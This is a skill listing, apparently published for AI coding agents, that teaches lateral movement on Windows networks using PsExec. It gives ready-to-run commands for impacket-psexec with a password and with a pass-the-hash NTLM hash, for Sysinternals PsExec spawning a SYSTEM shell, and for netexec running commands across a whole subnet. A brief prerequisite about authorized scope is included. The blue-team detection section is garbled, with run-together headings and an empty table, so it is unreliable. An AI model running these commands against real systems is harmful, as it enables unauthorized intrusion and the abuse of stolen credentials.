# Psexec Lateral Movement

> Execute commands and binaries on remote Windows systems utilizing PsExec and SMB/RPC mechanisms. This skill details the mechanics behind tools like Sysinternals PsExec, Impacket's psexec.py, and their role in lateral movement via hidden administrative shares.

- Skill: `shulkwisec/psexec-lateral-movement` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds add shulkwisec/psexec-lateral-movement`
- Raw SKILL.md: https://api.skillmd.com/api/skills/shulkwisec/psexec-lateral-movement/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: ShulkwiSEC (https://skillmd.com/u/shulkwisec)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/shulkwisec/psexec-lateral-movement

---


# Lateral Movement via PsExec

## When to Use
- You have compromised valid domain administrator credentials or a local administrator account for a target system.
- You need to obtain an interactive command shell (`cmd.exe` or `powershell.exe`) or execute a payload on a remote Windows machine.
- SMB (Port 445) and RPC (Port 135) are accessible.


## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture

## Workflow

### Phase 1: Mechanics of PsExec

PsExec works by performing the following actions:
1. Authenticates via SMB over Port 445.
2. Connects to the `ADMIN$` hidden share (usually `C:\Windows`).
3. Uploads a service executable (e.g., `PSEXESVC.exe`).
4. Uses the Service Control Manager (SCM) via RPC to create and start a Windows service wrapping the executable.
5. Communicates input/output back via named pipes over SMB.

### Phase 2: Remote Execution with Impacket (Linux)

```bash
# # impacket-psexec Administrator:Password123!@192.168.1.100

# Using Pass-the-Hash (PTH) impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29 Administrator@192.168.1.100
```

### Phase 3: Remote Execution with Sysinternals PsExec (Windows)

```cmd
# # PsExec.exe \\192.168.1.100 -u Domain\Administrator -p Password123! cmd.exe

# Execute SYSTEM shell PsExec.exe \\192.168.1.100 -s -u Domain\Administrator -p Password123! cmd.exe
```

### Phase 4: Automated Lateral Movement with CrackMapExec / NetExec

```bash
# netexec smb 192.168.1.0/24 -u Administrator -p Password123! -x "whoami"
```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Check SMB Access ] --> B{Admin Privs? ]}
    B -->|Yes| C[Upload Service ]
    B -->|No| D[PsExec Fails ]
    C --> E[Reverse Shell ]
```

## 🔵 Blue Team Detection & Defense
- **Monitor EID 7045 / 4697**: **Hunting Anomalous Pipe Names**: **Disable SMBv1 and Restrict Port 445**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Psexec Lateral Movement — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]
```


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- Impacket Docs: [impacket-psexec](https://github.com/fortra/impacket/blob/master/examples/psexec.py)
- Microsoft: [PsExec Documentation](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec)